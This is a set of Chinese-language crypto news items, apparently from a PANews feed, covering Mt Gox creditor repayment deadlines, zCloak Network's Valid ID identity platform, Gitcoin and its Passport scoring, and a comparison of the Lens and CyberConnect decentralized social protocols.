    PANews 4月7日消息，Mt Gox恢复受托人今日在一份信中表示，2023年4月6日选择还款方式和注册收款人信息（“选择和注册”）的截止日期已经过去。今后，除非得到恢复受托人的明确批准，否则恢复债权人将无法进行或更改选择和登记。 未来，恢复受托人将进行必要的还款准备，包括确认恢复债权人的选择和登记，以及与银行、资金转账提供商和加密货币交易所进行讨论和共享信息或参与还款的保管人。有鉴于此，预计还款需要一些时间才能开始。 基本还款、中期还款和提前一次性还款目前计划在2023年10月31日之前完成，但具体还款时间尚未确定。另请注意，考虑到各种情况，上述期限可能会在东京地方法院的许可下延长，或者可能会在东京地方法院的许可下为部分还款设定不同的期限。 相关阅读：涉及超13.7万枚比特币，Mt.Gox清偿窗口即将打开，债权人会如何获得赔偿？  ( 1 min )
    Web3“谁是谁”？zCloak Network 新产品 Valid ID 开启公测
    Web3的信任问题 Web3需要信任吗？单从区块链技术的角度看，似乎并不需要。因为区块链的特点之一就是“trustless”：通过密码学与共识机制的巧妙结合，即使没有可信第三方作为中介，也可以让两个互不认识的人完成一笔交易。但是放眼整个区块链行业，对信任的需求似乎又无处不在。一个审慎的用户打开钱包，点击确认交互之前，一定会问：我能够相信这个项目方吗？我能够相信他们的合约和前端代码吗？我能够相信这个链接吗？我能够相信这个NFT的地址吗……所有这些，都是信任的问题。 要解决Web3世界的信任问题，首先得解决“谁是谁”的问题。我们经常会问，这个NFT的合约是谁部署的？这份数字文件是谁签名的？这个Discord的链接是谁转发的？即使是基于零知识证明技术的隐私身份凭证，我们也得问问原始数据的公证是谁做的。可见，解决了“谁是谁”的问题，绝大部分的信任问题都会迎刃而解。这里的前一个“谁”，一般指的是链上常见的身份标识符，例如钱包地址、DID、去中心化域名等。后一个“谁”，指的是现实世界的真实身份。前者是赛博空间，后者是现实世界，二者怎么形成关联呢？ 在传统互联网行业，证明“谁是谁”有两种主要的方法。第一种是基于证书发放机构（CA）的公钥基础设施（PKI）体系。通过中心化的数字证书发放机构，对主体的真实身份进行审核，然后签发数字证书，以证明该机构的真实身份。我们常见的使用了HTTPS连接技术的网站，就是用了这种证书进行网站身份验证。 虽然已经在网站加密通信领域得到了广泛应用，CA与PKI的方案仍然有有几个明显的问题： 第一，该方案是彻底的中心化方法，并不符合Web3去中心化的理念。 第二，CA证书的申请虽然面向所有机构和组织以及个人，但是目前的身份认证机制并不完善。事实上，如果你仔细查看，你会发现目前广大中小网站广泛使用的DV证书根本没有任何身份认证机制。 第三，应用范围比较有限，一般只用在网站的SSL/TLS加密通信上。 互联网行业的第二种身份认证方式，是基于菲尔·齐默尔曼开发的PGP与Web of Trust个人密钥系统。PGP通过给用户提供一系列密钥实现消息加密解密、签名验证等常见操作。技术层面上，PGP是很好的密码学工具，但在实践层面，它依然很难解决“谁是谁”的问题：只有当你明确知道你的交互对象的PGP公钥时，PGP系统才能发挥作用。某些自由软件开发者会把自己的PGP公钥公开发布在社交媒体或者自己运营的网站上，但是其安全性和可扩展性并不理想。为了解决此问题，PGP 2.0使用手册里提出的Web of Trust（信任网络）概念旨在通过熟人关系对其他人的PGP身份及公钥进行签名和互相验证，把我们对熟人的信任转移到对PGP公钥的认证上。此时，Web of Trust 其实已经有了去中心化社交认证的影子。但是该方案仍然存在不少问题： 第一，技术领域熟人圈子的建立并不容易，人与人的信任很多时候都依赖于线下的聚会和会议活动。新人很难融入已有的信任圈子。 第二，信任的建立基本依赖于口口相传，并没有明确的真实性、有效性的检查方法，对于错误的认证也没有惩罚机制。基本还停留在“君子协定”的阶段。 第三，PGP技术本身的基础设施虽然强大，但是也相当复杂。它涉及密码学基本原理及命令行操作，普通用户几乎寸步难行，很难形成网络效应。 为了克服以上两种互联网身份认证协议的种种问题，zCloak Network提出了一种适用于Web3时代的公钥基础设施：Valid ID（valid3.id)，用来回答前面提出的“Web3谁是谁”的问题。 Valid ID的基本设计理念包括： 1.简单易用，尽量把使用门槛降至最低。用户只要会使用普通的加密钱包，就可以使用Valid ID平台的所有服务。 2.安全可靠，使用简单、成熟、经过时间检验的密码学原语，如Keccak哈希，secp256k1曲线上的ECDSA签名算法等。直接支持在主流加密钱包APP与硬件钱包内进行访问。 3.标准化，在身份标识方面，使用已有的W3C的DID和VC行业标准，基于zCloak的DID实现方法“did:zk:”，将可验证数字凭证（VC）应用于机构和个人的身份认证过程，尽最大努力兼容已有加密生态。 4.去中心化，在 Web of Trust 互验证理念的基础上，提出了基于多方认证的信任网络架构（Multi-party attestation based Web of Trust），以此有效消除了单点信任的问题。zCloak Network只是入驻主体信息的认证方之一，任何有能力对其它主体进行身份认证的机构，都可以按照自己的标准对其它主体进行身份认证，并在Valid ID平台发放数字凭证。 5.数据自主可验证，每个入驻主体的相关信息只能靠注册时的根密钥进行修改，除了入驻方自己，没有人有能力对其展示的相关信息进行修改。信息更新使用基于数字签名的自验证数据结构，平台的所有的事件与日志在Arweave、EVM公链进行留存。任何人都可以独立对平台上的相关信息进行独立审核和验证。 6.易于扩展，系统架构参考Nostr协议进行了相应的密码学改造（https://github.com/zCloak-Network/vips），简单灵活且易于扩展。天然辐射多链，相关数据可以辐射至所有公链，直接被智能合约所调用（项目早期阶段以EVM公链为主）。 基于以上设计理念，Valid ID平台形成了属于自己的独特优势，也与Web3行业已有的身份类项目形成了明显的差别。典型的例子如下。 首先，Valid ID与ENS等域名类项目存在区别。Web3域名类项目的本质是链上地址的聚合表达，所以通过域名的文字本身，并不能传递真实的身份信息。例如，timcook.eth不一定可以代表Apple公司的CEO；openai.eth也不一定能代表OpenAI公司。此外，用户在ENS profile内写入的网站、email等信息，并没有任何检查机制，也就无从判断其真实性。而Valid ID内主体profile的所有信息，都会经过多个包括律师事务所、安全审计公司和会计师事务所等等在内的第三方的独立检查。多方独立认证的结果会以不可篡改的可验证数字凭证的形式在Arweave、EVM公链进行存储，以保证信息的真实性和可验证性。 其次，与专注于链上交易信息的Web3身份聚合展示的profile类项目不同，Valid ID侧重于机构真实链下身份的认证与锚定。通过密码学与法律声明双重保障，不但能在机构承认自己的链上身份时证明其身份，还能在机构否认自己链上身份时反证其身份。Valid ID内的机构身份信息既包括官方网站、twitter账户、email等常见信息，也可以包含注册国家和地址等工商注册信息、链上链下的信用积分、审计公司安全报告、投研机构的评级报告等等。得益于可验证数字凭证的多方认证架构，所有的认证信息都可以在机构的profile内进行无缝的传递与表达。相关机构无需与zCloak Network团队进行沟通，就可以自行发布符合自家标准的机构认证信息。而用户也可以根据发布认证信息机构的口碑与信誉，对其发布的内容的价值和真实性自主进行判断。 zCloak Network 是基于零知识证明技术的隐私DID协议和基础设施，zCloak提出了一种新型的计算范式，通过把数据的存储和计算从中心化服务器迁移到用户本地设备，从根本上保证用户的身份和数据主权。在zCloak生态内，Valid ID将作为用户数据的信任原点发挥巨大作用，相关技术原理如下。 众所周知，零知识证明技术的主要用途，是用来证明计算过程的正确性。用户在自己本地，对自己的数据运行特定算法的零知识证明计算，就可以证明自己的数据具有某些属性、满足某些条件。这样，用户只需要对第三方验证者出示计算结果和零知识证明，而不必出示自己的原始数据，就可以证明自己的身份、资产等数据的情况。 但是，一个完整的计算包含输入数据和算法两部分。而零知识证明技术本身只能保证计算过程的正确性，至于参与计算的输入数据的正确性，是无法用零知识证明技术来保证的。换句话说，如果用户用错误的数据参与了零知识证明计算，那即使最终的证明验证无误，计算结果也还是错误的。这样的计算，是毫无意义的。我们知道，用户端零知识证明计算的核心优势，是可以在验证者看不到用户输入数据的情况下证明用户端计算的正确性。但是这样的模式也带来了一个问题：验证者可以验证零知识证明的正确性，但是怎么验证自己没有看到的输入数据的正确性呢？或者再进一步，什么是正确的输入数据，什么是错误的输入数据？界定的标准和依据又是什么呢？对这些问题的圆满回答，是在用户端进行保护隐私的零知识证明计算的前提条件。 zCloak Network通过灵活地使用可验证数字凭证技术，成功回答了“怎么验证用户端数据正确性”这个问题。基本的做法很简单，事先选择某些有公信力的第三方机构，对用户端数据进行认证，使用可验证数字凭证技术对认证的结果进行承诺，并在零知识证明计算的过程中对其进行检查。完整的计算过程可以概括为：可信机构A认证过的用户B的个人数据，在经过C这种零知识证明算法的计算之后，得到了D这样一个结果，以及E这个零知识证明。最终的验证者V只需要验证E的正确性，并相信A的权威性，就可以接受D的正确性。这其中，E的正确性是可以通过零知识证明计算来保证的。那么A的权威性就成为了整个链条的关键。要说服V接受A认证结果的权威性，首先需要知道A这个标识符（区块链地址、DID）背后到底是谁。问题至此闭环，A是谁，就是Valid ID要解决的问题。 zCloak团队设计Valid ID项目的初衷，是为了与zkID可验证数字凭证平台进行联动，为zCloak生态内的用户凭证提供权威性保证。随着时间的推移和越来越多的曝光和讨论，我们发现Valid ID的使用场景和可落地应用远远超出了数字凭证的范畴。举两个例子： 第一个例子，Valid Sign签名工具。使用Valid ID平台对机构身份进行认证与锚定之后，机构可以使用自己的DID对任何文本、图片、文档甚至是可执行文件进行签名。任何第三方都可以对这个签名的结果进行验证。这样，现实世界中所有需要使用纸笔签字或者公章盖章的场合，立即就可以被数字化的方法取代。整个使用过程既不需要代币，也无需与区块链进行交互，但这却是不折不扣的Web3应用——因为它保障了用户数据自主权。 我们将上述签名工具命名为Valid Sign，并在Valid ID网站开放使用。除此之外，我们还提供了Valid ID机器人，目前已经与Telegram和Discord软件进行了集成。用户可以在这些社交软件之内直接对任何Valid Sign的消息进行验证。这样，即使某些项目方的社交账号被盗取，黑客在频道内发布诈骗和钓鱼链接，频道内成员也可以一键对项目发发布的任何声明和链接进行签名验证，从而有效避免Web3行业层出不穷的欺诈事件。 图4：Telegram与Discord内集成的Valid Sign验证机器人 第二个例子，Web3机构网络。无论是Web3的原生组织形态DAO，还是现实世界的公司、机构甚至政府部门，都可以将自己的组织架构在Valid ID平台进行映射。机构与子机构的层级关系，不同人员的角色与职权，机构的收款地址与NFT合约，甚至各种AI驱动的无人设备，都可以在机构页面进行注册，并以Trust Tree的形式公布于众。借助类Nostr的消息协议，机构、组织以及其下属的人员，可以展开种类丰富的社交互动和社交证明。相关的事件数据，既可以保存在Nostr relay当中，也可以存储于Arweave和区块链公链网络，Valid ID平台很快还会推出与机构法定名称直接绑定的Valid Name功能，以及对机构间社交认证结果进行定量评价的Valid Score功能，努力成为Web3机构网络的信任基石。 为了配合各类应用场景，zCloak Network的各种基础设施正在紧锣密鼓的建设之中。目前已上线无需安装就可以使用的手机版数字身份钱包 zkID Wallet（wallet.zkid.app）只需要将该网页“添加到主屏幕”，就可以获得全功能的数字身份钱包APP，并在移动端使用Valid Sign和零知识证明虚拟机功能。zkID Credential 平台（cred.zkid.app）可以承载各类可验证数字凭证的制备、认证和验证任务。无代码版零知识证明生成器将在Credential平台进行集成，方便各类验证机构定制满足自己需求的零知识证明程序。多链attestation合约将把zCloak生态内的数字凭证与“谁是谁”的信任关系映射到主流区块链公链，供智能合约直接调用。 2023年3月，Valid ID平台已经开启内部测试，经过数十家Web3机构的测试与检验，于今日正式开启公测。我们知道，Web3信任基础设施的建设需要全行业的共同努力。Valid ID去中心化的架构设计就是为了把身份的控制权交到每个机构自己手中。zCloak Network诚挚邀请各路机构与项目方，共同参与Valid ID网络的建设，在Valid ID主页（valid3.id）点击 Request Onboard，其商务团队会尽快与您联系。早鸟入驻机构可以免费获得专属的Valid Name等福利。尤其欢迎有能力进行安全审计、机构评级、具有工商与法律数据积累的机构进驻，共建Web3信任网络。  ( 2 min )
    Gitcoin Beta轮即将来临，那些关于Gitcoin和Passport你需要知道的事
    撰文：Yinan Gitcoin是一个基于以太坊的开源平台，致力于为开发者、设计者和其他为加密货币生态系统做出贡献的人们提供奖励和激励。它的主要目标是帮助开源项目获得资金支持，同时鼓励更多人参与到这些项目的开发中。 Gitcoin能做什么： 运行一个捐赠项目：创建、定制和部署一个资助项目；审查并批准申请；管理资金分配和支付；通过Gitcoin Passport验证可信参与者。 为你的项目筹集资金：创建并编辑项目简介；在任何支持的链上申请资助轮次；验证项目凭证的所有权；通过Gitcoin Passport验证来防止恶意行为者。 给需要筹集资金的项目捐赠：在给定的二次方捐赠资助轮次中浏览和发现受资助者；能够在一个无缝结账过程中向不同的项目捐款；通过Gitcoin Passport验证来防止欺诈性的申请。 在Gitcoin堆栈上构建协议：Gitcoin 正在推出 Gitcoin Grants Stack，这是一个新的产品套件，可以让任何社区共同创建、管理和发展赠款计划。 2017—Gitcoin 成立。 2018—二次方捐赠论文发布。 2019—资助计划启动。 2021—GTC治理代币的推出。 2023—5000万美元已分配。 关于二次方捐赠匹配机制： 二次方捐赠匹配机制（Quadratic Funding）是一种基于捐赠者数量的资金分配方式。它旨在实现对公共物品和项目的公平资助，减少大额捐赠者对资助结果的影响，并激励更多的人参与捐赠。二次方捐赠匹配机制的基本原理是：捐款的匹配金额与捐赠者的数量呈二次方关系，而非捐款金额的大小。这里有个计算器：二次方配额计算器 举个例子：资金池有1000美金，有1和2两个项目同样获得10美金的捐赠，但是项目1捐赠的人数更多，经过二次方捐赠计算公式后，其获得的资金配额是要更多的。 愿景： 建立和资助数字公共产品，让建设者社区相互联系并共同创造开放网络的未来。 Gitcoin包含的几大板块： 赏金：项目所有者发布任务，并为完成任务提供加密货币奖励。 资助计划（Gitcoin Grants）：基于二次方捐赠匹配的资助项目，为开源项目提供更持续、更可预测的资金来源。 虚拟黑客马拉松：定期举办的线上活动，鼓励开发者参与到开源项目的开发中去。 Gitcoin Passport：是一个 Gitcoin 用户的数字身份，它包含用户在 Gitcoin 平台上的贡献、参与和声誉记录。Gitcoin Passport 的目的是为了让开发者、组织和项目拥有者能够更好地了解和信任彼此，增强欺诈预防。注意：链接每个媒体时获得的分数不一样，Gitcoin Passport 评分的门槛是 21.76，最高可能的分数是 100。任何高于 21.76 的分数都有资格获得匹配的捐赠资金。（详细分数规则） Gitcoin由Kevin Owocki创立，他是一位经验丰富的软件工程师和企业家。目前已经离开Gitcoin。Gitcoin的团队由多名区块链技术专家、开发者和设计师组成，他们共同致力于创建一个能够帮助加密货币生态系统发展的平台。 2021年5月，GItcoin发布了治理代币—GTC ，GTC 是一个没有经济价值的治理代币(官方文档写的）。GTC总量为1亿，初始分配：Airdrop—15% Gitcoin Dao—50%；Existing stakeholders—35%。 目前流通量为59,913,342，流通市值为$133,342,472，完全稀释市值为$222,505,120（截止23/3/24，来源coinmarketcap)。官方关于GTC治理代币的介绍。 为了确保 Gitcoin 优先为其使命和社区服务，Gitcoin 由社区来管理。并以Dao的形式对Gitcoin上的事务进行投票。 Gitcoin 以季度为周期进行运作。每个季度，Gitcoin 生态系统围绕一个季度叠加活动展开——Gitcoin Grants Rounds 和 Hackathons 的组合——向社区部署数百万美元的资金。 如何参与Gitcoin Dao 注册每周的 GitcoinDAO 摘要。 在 Discord、gov.gitcoin.co 或 Twitter 上参与互动。 查看在notion上发布的可用职位。 使用 Gitcoin 来赚钱、学习或资助。 治理： 治理流程： 讨论→提案→工作流→CSDO→资金→投票（Gitcoin DAO 治理流程 v3） 2021/4/14/—获得了加密货币风险投资基金Paradigm领投的1130 万美元。 2021/11/16—获得了以太坊基金会筹集的50万美元。 类似平台： Bounties Network： Bounties Network是一个去中心化的赏金任务平台，允许用户发布各种任务并提供以太币奖励。这些任务可以包括软件开发、设计、营销或其他领域的工作。 SourceCred：SourceCred是一个工具，用于量化和奖励开源项目中的个人贡献。它通过分析项目的版本控制历史和其他指标为贡献者分配“信誉”得分，然后根据这些得分向他们提供奖励。 CLR.Fund：CLR.Fund是一个去中心化的资助平台，利用二次方捐赠匹配机制为开源项目筹集资金。类似于Gitcoin Grants，CLR.Fund鼓励捐赠者为他们喜欢的项目提供资金支持。 总结： 总的来说Gitcoin就是一个链接开发者、项目构建方及用户的赏金分发平台，角色大体分为两种筹款方以及捐赠方。之前的轮次进行到了G15，在此之后将淘汰集中式赠款 (cGrants) 平台并完全过渡新赠款协议，在2023年1 月 17 日到 31 日启动了The Gitcoin Program AlphaRound回合，Alpha Round 的不同之处在于，Alpha Round 的保护下举办了三个独立的回合（OSS、ETH Infrastructure 和 Climate Round），每个回合都有其与 Grants Explorer 的独特链接，可以在其中能够使用 Quadratic Funding 浏览赠款和捐赠。而Gitcoin Passport也是在Alpha这一轮集成的，用于减轻女巫攻击影响。 Gitcoin作为一个公共基础设置，为很多初创区块链项目提供了资金，同时也将这些项目带到用户眼前，链接了整个市场，可以说为市场提供了活力，在Alpha轮次中也单独列出了一个气候和再生的类别，开始考虑在虚拟与现实之间的联系，如今，gitcoin beta轮次即将到来，一起期待吧。 官网：https://www.gitcoin.co/ 博客：https://go.gitcoin.co/blog 知识库文档：官方发布的一个关于Gitcoin所有详细解读的Gitbook文档 Twitter：https://twitter.com/gitcoin Discord：https://discord.com/invite/gitcoin Gitcoin Dao：https://gitcoin.notion.site/GitcoinDAO-22431fe7c9794d99986a028c23ce56b5  ( 2 min )
    解读Lens 和CyberConnect的去中心化社交路径：同源异流，探索Web3破圈之道
    原文：《同源异流：Lens 和 CyberConnect 的去中心化社交路径》 作者：Biteye 核心贡献者 Louis Wang 编辑：Biteye 核心贡献者 Crush 如果说有什么方向是用 Web3 的手段能做得比 Web2 好的，社交一定算一个。 我们的朋友之所以能分享让我们感兴趣的内容，是因为他们真切地了解我们。这份了解源于共度的日常时光、闲聊片刻以及共同的体验。 然而，在 Web2 时代，由于各个应用程序的数据私有化，这些丰富的数据被割裂在各大平台，导致我们的社交体验呈现碎片化状态。 在不同的社交平台间，我们的身份难以实现无缝对接，兴趣爱好和经历很难得到完整保留。每当尝试新的应用时，我们都需要重新建立个人资料，并努力让算法重新洞察我们的喜好以获取合适的推荐。 同时，用户提交的数据和反馈都是最真实的私人信息，然而这些数据却被平台所利用，用户甚至无法真正拥有它们。 Web3 社交产品利用区块链技术将用户行为和数据上链，有望打破 Web2 社交平台的数据垄断和私有化，让用户真正拥有自己的数据。 然而，这并未完全解决数据孤岛问题——不同智能合约间的数据标准、格式各异，应用之间的可组合性仍然受限。这也是为什么许多社交 Dapp 尚未在 Web3 社交领域取得突破的原因之一。 以去中心化交易所 (DEX) 为例，DEX A 中的交易对字段存储为 Pair，而 DEX B 中的交易对字段存储为 TokenPair。当我们需要分析用户链上交易时，Pair 和 TokenPair 代表的含义是否相同便成了一个问题。 只有制定统一的数据格式和标准，不同的 Dapp 才能实现互通和协作。如此一来，Web3 社交产品才能真正实现互联互通，推动数据共享和互操作，以更好地满足用户需求。 在这方面，Lens 和 CyberConnect 有着相同的愿景：让数据和应用分离，将数据层独立出来，建立协议层，统一数据格式和标准。 对创作者而言，基于这个数据层协议的应用，可以共享整个生态内的用户资源，摆脱传统 Web2 的零和竞争，共同壮大市场蛋糕，实现互利共赢。 而对于用户来说，这意味着他们可以在不同的 Dapp 间自由穿梭，实现数据和身份的共享。这将有助于推动 Web3 社交的广泛普及，让用户在不同应用间轻松切换，享受更好的体验。 正如标题中所述的「同源」，这个「源」指的是协议层，它作为社交产品的基石，成为串联 Web3 社交的数据活力之源；同时也构成了 Lens 和 CyberConnect 的发展基础和壮大之根。二者从更广阔的视角出发，共同拓展 Web3 社交的数据宽度和深度。 从下面两图来看，Lens 和 CyberConnect 的架构颇为相似：都是以智能合约为基础，通过 NFT 的形式构建 Web3 个人新档案。用户在 Lens/CC 合约中铸造自己的 Profile NFT，成为独一无二的身份账户。 用户与前端的 Dapp 互动时，社交关系以各种 NFT 形式存在于区块链上。至于具体的 Post 内容，则通过内容索引指向存储在 IPFS 或 Arweave 等去中心化存储平台上。 (https://messari.io/report/decentralized-social-protocol-map) Messari 在其社交协议对比报告中指出，Lens 的优势在于其延展性、可组合性以及强大的 API，然而，其体验受限于 Polygon 网络。 相较之下，CyberConnect 在多链部署、强大的推荐引擎和延展性方面表现出色，但缺少一些原生的转发功能。 Lens 在数据处理策略上采取了全面上链的方法，为用户提供了丰富的链上记录。然而，这会给用户带来 gas 压力。 尽管 Lens 目前已经采用 gasless（无 gas）策略并代付了约 70 万美金的 gas 费用，但随着开放注册和日活用户增长，这种补贴是否能长久维持仍然是一个问题，尤其当全面开放普及时，协议可能难以承受如此巨大的补贴支出。 相对于 Lens，CyberConnect 在协议设计上采取了一种不同的方法。虽然用户的账户和社交关系仍然存储在链上，但是 CyberConnect 减少了大量上链操作，转而采用链下验证方式来解决问题。 将常见、高频不稀有的数据如点赞评论放在去中心化存储中，将真正价值的数据存储在链上。这种策略旨在平衡链上数据存储的需求与网络负载，给到开发者更多的灵活度来设计产品的同时，也让用户终端的使用体验更顺畅。 CyberConnect CyberConnect 目前用户数达 76 万，txn 数超 570 万条。最近一个月的日活人数约为 24k，用户量从今年开始出现井喷式的上涨。 (https://dune.com/cyberconnecthq/cyberconnect-link3-metrics) 目前共有超 81 万个 CC Profile 账户被注册，注册地址达到 79 万。用户可以选择注册免费账户，也可以选择付费注册位数较短的个性账户。付费用户占比达到 4% 左右，总收入达到 50 万美元，这是协议商业化的尝试。 (https://dune.com/cyberconnecthq/cyberconnect-link3-metrics) CyberConnect 上已有 6.6 万名创作者发布过内容，共计被收藏 380 万次。 Lens Protocol Lens 目前用户数超过 31 万，产生的 txn 数量接近 1800w，Lens Profile 创建数超 11 万。 (https://dune.com/sixdegree/lens-protocol-ecosystem-analysis) 在 Lens 上首先要拥有 Profile，才能进行创作，进而获得收益。目前已有近 10 万地址铸造了 11 万+的 Profile，百分之 2 的地址持有多于一个的 Profile NFT。所有的 Profile NFT 中，有 40% 经过转手或者交易。 (https://dune.com/sixdegree/lens-protocol-ecosystem-analysis) Lens 对 Profile 注册从去年十一月起进行限制，只有白名单用户才能注册，新增 Profile 持有者增速大大放缓。然而这并不影响 Lens 的日活，创作者和用户之间的互动不减反增，最近一个月内的平均日活接近 7k。 (https://dune.com/sixdegree/lens-protocol-ecosystem-analysis) Lens 重点关注创作者创作情况。目前共计有 87k 个 Profile 账户发布超过 2900 万个帖子，创作者占比约 72%。其中，发帖、评论、转发的比例为 2:1:2。 (https://dune.com/sixdegree/lens-protocol-ecosystem-analysis) 收藏（collect）作为 web3 社交的一种特色互动方式，也是 Lens 创作者收入来源的主要形式，已经为 Lens 上的创作者带来超 29 万美金的收益。 两个社交协议龙头的数据从 用户数、活跃度来看都非常优秀。Lens 尽管对 Profile 注册进行限制，没有大批新用户涌入，但是活跃度不减反增，用户留存率很高；CyberConnect 的日活随着功能逐步开发完善，呈现出迅猛增长的势头。 我认为社交媒体的两大核心驱动力，分别是内容创作与传播，以及社交关系图谱构建。 内容创作与传播：每个人都是社交拼图中的一个独立部分。当我们通过创作互相吸引，就像是将这些部分拼接在一起，组成了一个更大的社交图案。 通过各种形式的创作，如发表文字、观点，制作视频、音乐，引发他人共鸣与交流。 这样的社交是由内容传播带来的，将原本的陌生人联系在一起。由此，在社交媒体上建立起社交关系，例如关注、互关、评论等。 进一步地，围绕创作者形成社交圈子，如粉丝团，以共同兴趣为纽带发展社交。创作者在这个过程中积累影响力和支持者，从而带来创作变现的可能。 社交关系图谱构建：类似于 LinkedIn，更多地关注的是「你是谁」，通过社交关系和社交活动来定义一个人：所毕业的学校、参与过的工作等。 这些履历都展示了你作为社会成员的特点，人的价值便是社会关系的总和。 Lens 和 CyberConnect 的愿景同为构建 Web3 社交数据协议层，但它们分别选择了不同的方向进行探索。 Lens 致力于打造一片充满自由浪漫与理想主义的 Web3 原生社交花园，专为创作者和开发者而设。 与他们的 Logo 宣传相呼应，Lens Protocol 协议层提供了一片便利的开发乐土，鼓励开发者在 Lens 的标准上进行创作。 基于 Lens 标准构建的社交应用，能够实现共建、共创以及共享用户群，共同发展生态体系。 Lens 生态内部产品之间的竞争依旧存在，但是壮大生态圈会使每个 Lens 项目受益。 (https://twitter.com/LensProtocol/status/1507064348635811858/photo/1) Lens 极度关注创作者经济，不断开发模块，如合作分成、创作者收益直接转入 AAVE 等，想方设法为创作者变现提供可能。 他们期望开发者能够轻松地利用 Lens 数据构建有趣的社交产品，催生新颖的创作者经济模式，使更多创作者在这里拥有自己的数据并创造属于自己的财富。 Lens 并不主动指导开发者如何使用这些模块，而是期待他们发挥智慧自由创造。这样的策略有助于推动创作者经济的蓬勃发展，让更多人在这片创新土壤中实现自己的价值。 CyberConnect 则选择专注于构建用户完整的、真实的社交图谱。通过自己动手，为协议层创建一个落脚点——打造了一款 all-in-one-profile 的产品 Link3，并拓展到 events，posts，fanclub，主动引导用户寻找能够结合 web2 和 web3 的高频使用场景。 相信许多人对 Link3 并不陌生，起码听说过参与 Twitter Space 收集小瓶盖活动。这个小瓶盖就是 W3ST（Web3 Status Token），一种不可转让的 SBT 代币，作为用户参加活动以及社区身份、信誉的链上凭证。 依赖于协议层发放的 SBT，其传播度、可用性和认可度将大大提高。 Link3 的探索不仅在于提供一个集大成的个人档案，更在于整合链上链下数据，让链下活动的参与者在链上获得认证，从而丰富其社交形象，这对于定义一个更全面的个人身份具有重要价值，尤其对于基于 DAO 结构的工作颇具益处，将 proof of work 上链是一件非常酷的事情。 这种完整的、真实的社交图谱在 Web2 时代是难以实现的，而在 Web3 社交协议层，CyberConnect 正是在努力实现这一愿景。 Link3 后续的 Posts, FanClub 等功能，也都是在用户同社区的交互这个场景去做了进一步的尝试，让用户在日常的行为中，逐步完善自己的可信身份以及社交和兴趣图谱。 CyberConnect 希望先进一步扩展个人社交图谱数据的广度和深度，为开发者们先打下数据基础，为未来的应用提供充足的资源。 我们可以看到，同为协议层的 Lens 和 CyberConnect 逐渐走出了不同的路径： 一个致力于构建完善的开发环境，提供更多乐高积木式的模块，供 builder 们发挥想象，更贴近开发者和创作者； 一个更贴近用户，专注于应用场景，借助 Link3 和生态内各种切入各种真实场景的应用，让用户迅速地与协议层建立联系，无意识地构建社交图谱，使链上形象尽可能地丰满和立体。 从拓展生态的角度进行对比，二者在策略上的差异也相当明显。 对于积累了极多 Aave 社区经验的 Lens 团队来说，其深知不可能单独靠团队实现 Web3 社交的愿景，而是必须依靠社区和生态的力量。Lens 通过举办黑客松和提供 Grant，吸引开发者在 Lens 上构建生态。 开发者可以轻松调用 Lens API 获取数据并构建应用，虽然开发门槛降低不少，但大多数项目都是从零开始。 Lens 希望建立一个开发者在其土壤上播种种子，让项目从头开始生根发芽的生态。对于开发者来说，一方面是金钱激励，另一方面当越来越多的用户加入生态，网络的价值不断提升，就会更有动力在生态内进行投入。 目前 Lens 上已有超过 140 个原生应用，生态中的应用型产品基本覆盖了大部分品类。其中，开发相对简单、思路更明确的工具型产品居首，其次是内容，社交平台和音乐等。 然而，大部分产品还处于相对早期的阶段，功能体验相对简单。部分黑客松参赛产品停留在 demo 阶段，未正式上线。少部分产品已经有了里程碑，比如 Phaver（一个通过分享内容、质押赚钱的产品）已经达到了 10 万活跃用户。 (https://mirror.xyz/0xbuidlerdao.eth/VDZsmz0ZBDS0E7DKalEKRbqvpFk-b5947jT2DxGUBz0) 而 CyberConnect 则采取了一种协议-产品-生态的发展路线。他们先建立协议，再打造自己的招牌产品 Link3，并横向拓展，开发生态。 从 CyberConnect 最近结束的黑客松来看，他们同时也欢迎已经成型的 Dapp 接入共建生态，而非一切从头开始建设。此外，他们也不过度要求应用的纯粹 Web3-native 性，任何有意义的交互场景都可以嫁接在 CyberConnect 上让用户先用起来，成为数据上链的门户。 这些生态为协议带来了更丰富的应用场景，更契合优先打造社交图谱的战略。例如游戏类的 DegenReborn、餐厅点评类的 Plato，阅读类的 ReadON，以及元宇宙类的 Oasis 等，甚至 Lens 生态中最大的应用 Phaver 也加入了 CC 接口，生态丰富多样。 (https://www.notion.so/cyberconnect/Connected-2023-Hackathon-Results-Highlight-Projects-8c726bbaf1d74b309dd3ae49b6b9acce) 从建设生态的角度来看，Lens 正在打造一个宽广的花园，提供了丰富的土壤和各种工具，但也要求开发者在这个花园内进行创作，从头开始建设。 这种方式一方面提供了便利，但同时也限制了花园内外的交流和互动。 相比之下，CC 更像是在寻找志同道合的朋友，他们不强调应用的原生性，而是注重于让任何具有真实需求的场景都能够接入 CC 共建 web3 社交生态。 这种方式促进了生态的拓展和交流，有助于更广泛的应用场景的应用和发展，甚至有望推动整个 web3 的大规模普及。 尽管我们对 Web3 社交的叙事已经非常耳熟能详了，但是真正要驱动用户从 Web2 迁移并不是一件容易的事情，新的体验必须超越原有体验与迁移成本的总和。 然而，区块链的 gas 机制和不易用的钱包等问题给 Web3 的下一个百万流量入口设置了重重障碍。Web3 虽无需信任，但要让用户相信 Web3，同样是一个巨大的挑战。 虽然 Web3 身份可以实现更加去中心化和安全的身份验证，但是统一和全面的 Web3 身份是否会给用户带来困扰呢？ 在某些场景下，用户可能并不想展示完整的身份信息，因为每个人都可以扮演多个角色，有时微信发朋友圈都需要分组。 因此，我们需要在 Web3 社交的发展中探索出更灵活、更私密的身份管理方式，让用户可以更好地控制自己的身份信息。 同时，Web3 社交还面临着创作者经济的挑战。目前，创作者经济仍然主要基于粉丝的打赏这种单纯的利他行为，甚至还缺乏像 Web2 中的广告模式等可持续的收益方式。 因此，真正要突破创作者经济在 Web3 中的新格局，必须利用数据的可组合性，探索新的盈利模式。 在这个过程中，Web3 的普及教育，钱包入口门槛的降低，复杂场景的思考，以及像 Lens 和 CyberConnect 这样的社交协议和生态系统，都将发挥关键作用。 通过创新的创作者经济和优化的用户体验，Web3 社交极有可能是下个破圈的契机，将更多的用户引入 Web3 世界。 我们对比了 Lens 和 CyberConnect 在去中心化社交领域中的两条不同路径。二者从同源出发，但在路径选择和解决问题的优先级上存在差异。 然而，他们共同面临的挑战是突破 Web2 社交的局限性，创造新的社交价值。Lens 通过设计模块、降低开发成本，以及探索创作者经济模式，致力于打造一个生态完善、易用性高的社交平台。 而 CyberConnect 则沿着协议-产品-生态的发展路线，寻找应用场景，整合链上链下数据，丰富个人社交图谱。期待 Lens 和 CyberConnect 能在各自的领域中跃然绽放 Web3 社交的光芒，为我们带来更丰富、更有意义的社交体验。 